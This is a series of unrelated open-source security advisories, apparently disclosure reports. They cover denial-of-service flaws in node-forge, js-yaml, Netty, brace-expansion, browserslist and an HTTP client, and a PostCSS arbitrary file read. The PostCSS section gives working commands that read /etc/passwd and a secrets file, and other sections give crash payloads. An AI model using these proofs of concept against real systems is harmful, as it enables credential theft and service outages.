## Summary A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library ## Vulnerability Details Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage) ## Root Cause Analysis The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js: ```js javascriptfunction bnModInverse(m) { // ... setup ... // No check for this == 0 // Enters Extended Euclidean Algorithm loop that never terminates when this == 0 } ``` ## Attack Scenario Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include: DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse(). A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive. ## Proof of Concept Environment Setup ```bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge ``` Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging. ```bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge # Save the script below as poc.js, then run: node poc.js ``` ```javascript 'use strict'; const { spawnSync } = require('child_process'); const childCode = ` const forge = require('node-forge'); // jsbn may not be auto-loaded; try explicit require if needed if (!forge.jsbn) { try { require('node-forge/lib/jsbn'); } catch(e) {} } if (!forge.jsbn || !forge.jsbn.BigInteger) { console.error('ERROR: forge.jsbn.BigInteger not available'); process.exit(2); } const BigInteger = forge.jsbn.BigInteger; const zero = new BigInteger('0', 10); const mod = new BigInteger('3', 10); // This call should throw or return 0, but instead loops forever const inv = zero.modInverse(mod); console.log('returned: ' + inv.toString()); `; console.log('[*] Testing: BigInteger(0).modInverse(3)'); console.log('[*] Expected: throw an error or return quickly'); console.log('[*] Spawning child process with 5s timeout...'); console.log(); const result = spawnSync(process.execPath, ['-e', childCode], { encoding: 'utf8', timeout: 5000, }); if (result.error && result.error.code === 'ETIMEDOUT') { console.log('[VULNERABLE] Child process timed out after 5s'); console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)'); process.exit(0); } if (result.status === 2) { console.log('[ERROR] Could not access BigInteger:', result.stderr.trim()); console.log(' -> Check your node-forge installation'); process.exit(1); } if (result.status === 0) { console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim()); process.exit(1); } console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')'); if (result.stderr) console.log(' stderr:', result.stderr.trim()); process.exit(1); ``` Expected Output ``` [*] Testing: BigInteger(0).modInverse(3) [*] Expected: throw an error or return quickly [*] Spawning child process with 5s timeout... [VULNERABLE] Child process timed out after 5s -> modInverse(0, 3) entered an infinite loop (DoS confirmed) Verified On ``` node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows ## Impact Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected. ## Suggested Fix Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js: ```javascript function bnModInverse(m) { var ac = m.isEven(); // Add this check: if (this.signum() == 0) { throw new Error('BigInteger has no modular inverse: input is zero'); } // ... rest of the existing implementation ... } ``` Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).
# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x) ## Summary `resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution **O(n²)** in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside `yaml.load()`, giving a denial of service against any consumer that parses untrusted YAML. `!!omap` is registered in the **default schema** (`lib/schema/default.js` → `require('../type/omap')`), so a plain `yaml.load(untrustedInput)` with no options is affected — no custom schema or non-default configuration is required. **This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation. ## Affected versions | Line | Latest tested | Status | |---|---|---| | 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` | | 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` | | 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) | Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue. ## Details `lib/type/omap.js` (js-yaml 4.3.0): ```js if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey) else return false ``` `objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a linear scan, so resolving an `n`-entry `!!omap` performs roughly `1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously inside `yaml.load()`, blocking the event loop for its whole duration. The 5.x line already solves exactly this by tracking seen keys in a `Set` (`src/tag/sequence/omap.ts`): ```ts if (carrier.seen.has(key)) return 'duplicate key in ordered map' carrier.seen.add(key) ``` ## Proof of concept ```js // poc.js — node poc.js const yaml = require('js-yaml'); const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n'; for (const n of [10000, 20000, 40000, 80000]) { const d = doc(n), t = Date.now(); yaml.load(d); // default schema, no options console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`); } ``` ### Measured (node v20.20.2, default heap, no flags) **js-yaml 4.3.0** ``` n=10000 bytes=137787 load=54ms n=20000 bytes=297787 load=169ms n=40000 bytes=617787 load=646ms n=80000 bytes=1257787 load=2607ms ``` **js-yaml 3.15.0** ``` n=10000 bytes=137787 load=53ms n=20000 bytes=297787 load=166ms n=40000 bytes=617787 load=641ms n=80000 bytes=1257787 load=2567ms ``` Runtime grows by a factor of ~4 for each doubling of `n`, which is the signature of O(n²) (linear growth would be ~2×). Scaling further: a **2.48 MB** document with 150,000 entries blocked `yaml.load()` for **10.8 seconds**. ## Impact Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request. Suggested severity: consistent with **CVE-2026-59870** (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required. ## Suggested fix Mirror the 5.x fix — replace the linear scan with a `Set`: ```js // lib/type/omap.js const seen = new Set() // ... if (seen.has(pairKey)) return false seen.add(pairKey) ``` This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A `maxOmapLength`-style cap would also work, but the `Set` matches what 5.x already ships and requires no new option. ## References - CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1 - `lib/type/omap.js` (3.x, 4.x) — the affected resolver - `lib/schema/default.js` — registers `!!omap` in the default schema ## Discovery Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the **current** releases of each line, not on the version originally scanned.
### Summary RedisArrayAggregator pre-allocates ArrayList with initial capacity equal to the RESP array element count declared in an array header. That count is taken from the wire before the corresponding child messages exist. A small malicious header can claim a huge initial capacity. ### Details The aggregator starts a new aggregation level when it receives an ArrayHeaderRedisMessage. For positive lengths it pushes AggregateState, whose constructor runs `new ArrayList<>(length)`. No configurable maximum is applied in this handler, and the peer does not need to supply the array elements for the backing array allocation to occur. In the same pipeline, RedisDecoder enforces RedisConstants.REDIS_MESSAGE_MAX_LENGTH for bulk string lengths but does not apply that cap to array header lengths. Declared array sizes can therefore be extremely large while still passing decoding, and the aggregator immediately attempts Object[] reservation. io.netty.handler.codec.redis.RedisDecoder#decodeLength io.netty.handler.codec.redis.RedisArrayAggregator#decodeRedisArrayHeader ### Impact Availability / resource exhaustion via unbounded pre-allocation from untrusted RESP array headers.
## Summary PostCSS's `PreviousMap` parses the `/*# sourceMappingURL=PATH */` comment from any CSS string passed to `process()` and dereferences `PATH` against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting `JSON.parse` `SyntaxError` message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no `from`, no `map`, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). ## Details The dangerous chain lives in `lib/previous-map.js` and is wired into every `Input` construction at `lib/input.js:70-77`. `Input` constructor (`lib/input.js:70-77`): ```js if (pathAvailable && sourceMapAvailable) { let map = new PreviousMap(this.css, opts) if (map.text) { this.map = map let file = map.consumer().file if (!this.file && file) this.file = this.mapResolve(file) } } ``` `PreviousMap` constructor (`lib/previous-map.js:17-29`): ```js constructor(css, opts) { if (opts.map === false) return this.loadAnnotation(css) this.inline = this.startWith(this.annotation, 'data:') let prev = opts.map ? opts.map.prev : undefined let text = this.loadMap(opts.from, prev) ... } ``` Note `opts.map === false` is the only short-circuit. With default options (`opts.map === undefined`), the rest of the constructor — including the filesystem read — executes. `loadAnnotation` (`lib/previous-map.js:72-84`) extracts the URL **without sanitisation**: ```js loadAnnotation(css) { let comments = css.match(/\/\*\s*# sourceMappingURL=/g) if (!comments) return let start = css.lastIndexOf(comments.pop()) let end = css.indexOf('*/', start) if (start > -1 && end > -1) { this.annotation = this.getAnnotationURL(css.substring(start, end)) } } ``` `getAnnotationURL` (`lib/previous-map.js:59-61`) only strips the `/*# sourceMappingURL=` prefix and trims whitespace — no scheme check, no path normalisation, no allowlist. `loadMap` (`lib/previous-map.js:124-128`) — when `prev` is absent and the annotation is not an inline `data:` URI: ```js } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) return this.loadFile(map) } ``` * If `opts.from` is unset, `file` is undefined and the raw attacker-supplied path (e.g. `/etc/passwd`) is used directly. * If `opts.from` is set, `path.join(dirname(file), attackerPath)` is used. `path.join` does **not** block `..` segments, so `../../../../../etc/passwd` resolves outside the intended directory. `loadFile` (`lib/previous-map.js:86-92`) is the sink: ```js loadFile(path) { this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } ``` The bytes are stored in `this.text`. `Input` immediately invokes `map.consumer()` (`lib/input.js:74`), which constructs a `SourceMapConsumer` (`lib/previous-map.js:33`). When the file is not valid source-map JSON (the common case), `source-map-js` calls `JSON.parse`, and V8's `SyntaxError` message embeds the first ~10 bytes of the file content: ``` Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker. Trust-boundary analysis: * Attacker controls: CSS input passed to `postcss().process(css, opts?)`. * Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, `/etc/passwd`, `/proc/self/environ`, etc. * No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (`startWith(annotation, 'data:')`) routes inline URIs to `decodeInline`; everything else hits `loadFile`. Primitives obtained: * (a) **Arbitrary file read** — bytes loaded into Node memory. * (b) **Information disclosure** — first ~10 bytes leaked via `JSON.parse` `SyntaxError` message. * (c) **File-existence oracle** — non-existent paths return silently from `loadFile` (`existsSync` is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states. * (d) **DoS primitive** — directing the read at `/dev/zero`, very large files, or device files can stall or crash the process. ## PoC All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0. **Vector 1 — Absolute path, default options (no `from`, no `map`):** ```bash $ node -e 'const p=require("postcss"); \ try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \ catch(e){console.log(e.message)}' Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` The first 10 bytes of `/etc/passwd` (`root:x:0:0`) are leaked. **Vector 2 — Relative `..` traversal with `opts.from` set (simulates a build pipeline that pins `from` to the source file):** ```bash $ node -e 'const p=require("postcss"); \ p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \ {from:"/var/www/html/styles/main.css", map:{inline:false}}) \ .catch(e=>console.log(e.message))' Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` `path.join('/var/www/html/styles', '../../../../../etc/passwd')` resolves to `/etc/passwd`. **Vector 3 — File-existence oracle:** ```bash # Existing non-JSON file → throws (file confirmed to exist) $ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")' SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON # Non-existent file → returns silently (file confirmed absent) $ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")' ok ``` **Vector 4 — Custom file-content leak:** ```bash $ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env $ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1 SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON ``` The first 10 bytes of `/tmp/server-secret.env` (`API_KEY=sk`) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix. **Filesystem-call trace** (proves the read happens with no opts at all): ```js const fs = require('fs'); const orig = fs.readFileSync; fs.readFileSync = function(p){ if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p); return orig.apply(this, arguments); }; require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */'); // → [FILE READ]: /etc/hostname // → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON ``` ## Impact * **Arbitrary file read** of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack `postcss-loader`, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed. * **Confidentiality leak** of the first ~10 bytes of the targeted file via `JSON.parse` `SyntaxError`. This is enough to recover SSH-key headers, environment-variable prefixes (`API_KEY=sk…`), `/etc/passwd` records, the start of `/proc/self/environ`, and other high-value secrets, and to fingerprint the host (`Debian-tri…` from `/etc/hostname`). * **File-existence oracle** with three distinguishable response states (silent success, `JSON.parse` error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files. * **DoS** by targeting `/dev/zero`, `/proc/kcore`, very large files, or named pipes — `readFileSync` is a synchronous, unbounded read. * **Default-on**: triggered with `postcss().process(css)` and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose `{ map: false }`. ## Recommended Fix The root cause is that `loadFile` accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes: 1. **Refuse traversal/absolute paths in `loadMap`** (defence-in-depth): ```js // lib/previous-map.js loadMap(file, prev) { if (prev === false) return false if (prev) { /* unchanged */ } else if (this.inline) { return this.decodeInline(this.annotation) } else if (this.annotation) { let annotation = this.annotation // Reject schemes (other than data:, handled above) and absolute paths. if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return if (require('path').isAbsolute(annotation)) return if (!file) return // No base path → cannot safely resolve. const base = require('path').resolve(require('path').dirname(file)) const resolved = require('path').resolve(base, annotation) // Refuse anything that escapes the base directory. if (resolved !== base && !resolved.startsWith(base + require('path').sep)) { return } return this.loadFile(resolved) } } ``` 2. **Require explicit opt-in to follow on-disk source-map annotations**: gate the `loadFile(map)` call in `loadMap` behind an option such as `opts.map.annotation === true` or `opts.map.followAnnotation === true`. Today, the only way to opt out is `{ map: false }`, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted. A user-facing changelog entry should warn that `postcss().process(untrustedCss)` previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.
### Summary An attacker can cause DoS by sending crafted Redis payloads across multiple connections without `\r\n`. This exhausts the server's direct memory pool (OutOfDirectMemoryError), preventing legitimate connections from being processed. ### Details io.netty.handler.codec.redis.RedisDecoder decodes the length of bulk strings and array headers using the `decodeLength` method. This method reads bytes from the network until it encounters a `\n` character. However, it does not enforce any maximum length check while buffering the bytes if the `\n` character is not found. An attacker can exploit this by sending a continuous stream of digits (e.g., `$1111...`) without ever sending a `\n`. To cause a true Denial of Service, an attacker must open multiple concurrent connections and distribute the unbounded payloads among them. According to the RESP specification (https://redis.io/docs/latest/develop/reference/protocol-spec/), all parts of the protocol are strictly terminated with `\r\n`. Furthermore, the length prefix itself is an integer representation that must fit within standard numeric limits (e.g., a 64-bit signed integer). Therefore, a stream of digits exceeding these bounds without `\r\n` is a protocol violation and should be rejected immediately rather than buffered indefinitely. ### Impact Denial of Service due to memory exhaustion. Any application using Netty's RedisDecoder to handle untrusted Redis traffic is vulnerable.
### Summary `parseCommaParts()` can exhaust the native stack and crash the process. There are two distinct ways to trigger it, both reachable from a single untrusted pattern string. This is the parsing-side counterpart to CVE-2026-14257 / GHSA-mh99-v99m-4gvg. That fix made `expand_()` iterative and documented a constant-stack-depth guarantee, but `parseCommaParts()` was left recursive, so the guarantee only held for one of the two parsing paths. ### Vector 1 - unbounded recursion on `post` `parseCommaParts()` recursed on the remainder of the string once per brace group: ```js const postParts = parseCommaParts(post) // unbounded ``` A brace group containing many comma-separated groups drives one recursion level per group: ```js expand('{' + '{a},'.repeat(7000) + 'b}') // RangeError: Maximum call stack size exceeded ``` About 7,300 repetitions - roughly 29 KB of input - is enough on Node 24; roughly 6,300 (25 KB) on Node 18. The threshold is identical on every affected release line. ### Vector 2 - `push.apply` with an unbounded array Even with the recursion removed, `parseCommaParts()` spread whole arrays into an argument list: ```js p.push.apply(p, postParts) parts.push.apply(parts, p) ``` `Function.prototype.apply` places one argument per element on the stack, so a single large array overflows it. This needs **no recursion depth at all** - the following reaches a recursion depth of exactly 1: ```js expand('{{x},' + 'a,'.repeat(125000) + 'b}') // RangeError: Maximum call stack size exceeded ``` Threshold is about 124,300 repetitions (~249 KB). This vector was not part of the original report; it was found while verifying the fix. A patch that only de-recurses but keeps `push.apply` leaves a working denial of service behind. ### Why `max` and `maxLength` do not help Both crashes happen during **parsing**, before any expansion. The payloads produce one result per group, so output size grows linearly with input and is never the limiter. `expand(payload, { max: 1, maxLength: 1 })` still overflows. ### Impact Any application that passes an untrusted string to `expand()` - directly, or through `minimatch` / `glob` where it is a user-supplied glob pattern - can be crashed. In Node, a `RangeError` that the application does not catch terminates the process, so a server that globs user input is exposed to remote unauthenticated denial of service. `minimatch`'s own `MAX_PATTERN_LENGTH` cap (65,536) does not help against vector 1: the overflow threshold sits well below it. Confirmed on minimatch 10.2.6 - a 64,003-byte pattern passes the length check and overflows both `minimatch.braceExpand()` and `new minimatch.Minimatch()`. This is an availability-only issue. No code execution and no data exposure. ### Not a regression 5.0.8 and 5.0.9 overflow at the same repetition count, so the gap predates the recent advisories; those fixes simply did not reach it. Verified affected on 1.1.18, 2.1.4, 3.0.6, 5.0.8 and 5.0.9, all at an identical threshold. ### Patch `parseCommaParts()` is rewritten as a loop that carries the partial part across chunks, and every array append uses an element-by-element loop rather than `push.apply`. The redundant `if (!str) return ['']` guard is dropped - the loop returns `['']` for the empty string on its own. Equivalence of the old and new implementations was checked by differential testing: exhaustive over every string of `{`, `}`, `,`, `a` up to length 7 plus 300,000 random inputs - 322,000 cases, zero mismatches. ### Severity note Scored 7.5 High under CVSS 3.1 for consistency with the other availability advisories on this package (GHSA-mh99-v99m-4gvg, GHSA-rgw5-rvv9-x895), which use the same vector. The reporter self-assessed 6.9 Medium under CVSS 4.0 (`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`). ### Credit Reported by baeseungwon1010, with a working proof of concept and a proposed patch. Vector 2 was identified during maintainer verification.
### Summary Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame` without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work. ### Details Inbound SPDY bytes enter `SpdyFrameCodec.decode()` and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only `length >= 4`. For SETTINGS payloads, it reads the peer-controlled `numSettings` field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into `spdySettingsFrame.setValue()`. The sink is `DefaultSpdySettingsFrame`: it backs settings with a `TreeMap`, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new `Setting` for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site. ### PoC [poc.zip](https://github.com/user-attachments/files/28445737/poc.zip) run with ```bash bash ./poc/run.sh ``` expected output: ```text NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144 ``` The `NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED` line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The `wire_bytes=2097164`, `first_value=1`, and `last_value=262144` fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized. ### Impact remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing `SpdyFrameCodec` can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of `4 + numSettings * 8`, and IDs within the accepted 24-bit range; the verified PoC uses `numSettings=262144` and `wire_bytes=2097164`. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed `DefaultSpdySettingsFrame`, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.
## Vulnerability Details **File**: `node.js` **Function**: `normalizeStats()` (line ~214), reached from `getStat()` (called **unconditionally** on every `browserslist()` call) and `loadStat()` ### Root Cause ```js function normalizeStats(data, stats) { if (!data) { data = {} } if (stats && 'dataByBrowser' in stats) { stats = stats.dataByBrowser } if (typeof stats !== 'object') return undefined var normalized = {} for (var i in stats) { var versions = Object.keys(stats[i]) if (versions.length === 1 && data[i] && data[i].versions.length === 1) { var normal = data[i].versions[0] normalized[i] = {} normalized[i][normal] = stats[i][versions[0]] } else { normalized[i] = stats[i] } } return normalized } ``` `stats` is untrusted: it comes from `JSON.parse()`-ing a `browserslist-stats.json` file — auto-discovered by walking up the directory tree from the project root **on every `browserslist()` call, regardless of the query** (`env.getStat(opts, browserslist.data)` runs unconditionally inside `browserslist()`) — or from `opts.stats` passed programmatically / via the CLI's `--stats=` flag. `data` is `browserslist.data`, a plain object populated only with real browser names. Two independent bugs from the same root cause (unguarded `for...in` over untrusted keys used with plain-object bracket access/assignment): 1. **Crash**: `data[i]` has no `hasOwnProperty` guard. If `stats` contains a key that also happens to be an inherited `Object.prototype` member name — `"__proto__"`, `"toString"`, `"valueOf"`, `"constructor"`, `"hasOwnProperty"`, `"isPrototypeOf"`, etc. — `data[i]` resolves to that inherited function/object (always truthy), and the code then does `data[i].versions.length` → `undefined.length` → **uncaught `TypeError`**, for any such key whose JSON value has exactly one sub-key, e.g.: ```json { "toString": { "onekey": 5 }, "chrome": { "100": 50 } } ``` 2. **Prototype write**: `normalized[i] = ...` on the fresh `normalized = {}` — if `i` is exactly `"__proto__"` (and `normalized` has no own property by that name yet), this computed assignment invokes the real `Object.prototype.__proto__` setter, changing `normalized`'s actual `[[Prototype]]` instead of creating a plain property. Because this runs on **every** `browserslist()` call regardless of the query, simply committing a poisoned `browserslist-stats.json` anywhere in a project's directory tree breaks every subsequent Browserslist call in that project — including calls made by Autoprefixer, Babel `preset-env`, Stylelint, or PostCSS internally, for completely unrelated queries. ### Attack Scenario 1. Attacker submits a PR (or a compromised dependency) adding a `browserslist-stats.json` file anywhere between the project root and filesystem root, containing e.g. `{"toString": {"onekey": 5}, "chrome": {"100": 50}}`. 2. The victim's build/CI pipeline runs any tool that calls `browserslist()` internally, for **any** query. 3. The auto-discovered poisoned file crashes the process with an uncaught `TypeError` on the very first call. ### Measured Impact Confirmed crash (real `browserslist()` call, v4.28.6) with `stats` keys: `__proto__`, `toString`, `valueOf`, `hasOwnProperty`, `constructor`, `isPrototypeOf` — each paired with a one-key JSON object — for any query, including `browserslist('defaults')` which never mentions stats. ### Recommended Fix (implemented and verified) ```js var normalized = Object.create(null) for (var i in stats) { var versions = Object.keys(stats[i]) var known = Object.prototype.hasOwnProperty.call(data, i) && data[i] if (versions.length === 1 && known && known.versions.length === 1) { var normal = known.versions[0] normalized[i] = Object.create(null) normalized[i][normal] = stats[i][versions[0]] } else { normalized[i] = stats[i] } } return normalized ``` `normalized` uses `Object.create(null)` so a write to `"__proto__"` is an ordinary property set, never a `[[Prototype]]` change; `data[i]` is replaced with an explicit `hasOwnProperty` check so it never resolves to an inherited `Object.prototype` member. **Verification**: - `NODE_ENV=test npx uvu test .test.js` → 301/301 pass unmodified (`test/custom.test.js`, `test/shareable-stats.test.js`, `test/cover.test.js` exercise the stats-handling paths). - All 6 previously crash-inducing keys, tested individually, now resolve without error. - The realistic file-based auto-discovery scenario (poisoned `browserslist-stats.json` + an unrelated `browserslist('defaults')` call) now returns a normal result instead of crashing. ### Impact - **Who is affected**: Any project whose build/CI invokes Browserslist (directly or via Autoprefixer/Babel/Stylelint/PostCSS) in a directory tree an attacker can place a file into (external PR, compromised dependency), or any app that passes user-influenced data into `opts.stats`. - **What an attacker achieves**: Immediate DoS — crashes the invoking process on the first Browserslist call after the file is present, for any query, no special syntax needed. - **Conditions required**: No authentication — only the ability to add a file to the project's directory tree, or influence `opts.stats`. ### Verification Environment browserslist @ HEAD (== v4.28.6, current latest stable release) under local Node.js v20.19.5. Pure JS library — executed directly, no server needed. ### Note Found via a systematic review of prototype-pollution-adjacent patterns in this codebase after confirming two unrelated algorithmic-complexity issues (reported separately as GHSA-rrmg-cfrq-23vv and GHSA-g6p8-hj8g-x889) in the same research pass. A similar `for...in` + bracket-write pattern in `index.js`'s `copyObject()` (used by `normalizeAndroidData`) was already guarded against `__proto__`/`constructor`/`prototype` keys by a prior, unrelated commit — that guard was never applied to this function.
### Impact With automatic response decompression enabled (the default), the HTTP/1.1 path decompresses response bodies with no limit on the total output size. A hostile or compromised server, or an attacker who can change a response in transit, can send a small compressed body that inflates without bound in memory, exhausting the client's heap and causing an OutOfMemoryError. gzip, deflate and snappy are always available as vectors; brotli and zstd apply only when those optional codecs are on the classpath. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 The HTTP/2 path carries its own limit from 3.0.11 onward. On 3.0.8, 3.0.9 and 3.0.10 the HTTP/2 decompressor is also unbounded, so on those versions switching to HTTP/2 is not a mitigation. ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The fix counts the decompressed bytes produced for each response and fails the response once the configured maximum is exceeded, so the limit applies to the whole body rather than to any single chunk. ### Workarounds On 3.x, disable automatic decompression (setEnableAutomaticDecompression(false)) and decompress manually with your own size limit. The 2.x line has no such setting; the decompressor is installed unconditionally, so the only option there is to remove the inflater handler through httpAdditionalChannelInitializer. On either line, running the client behind a proxy that caps response sizes also works. ### Details ChannelManager.newHttpContentDecompressor() created Netty's HttpContentDecompressor without any bound, and Netty's own maxAllocation parameter limits a single decode step rather than the accumulated size of a response, so it cannot bound a decompression bomb delivered as many small chunks. The fix tracks the accumulated decompressed size per response instead. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes.
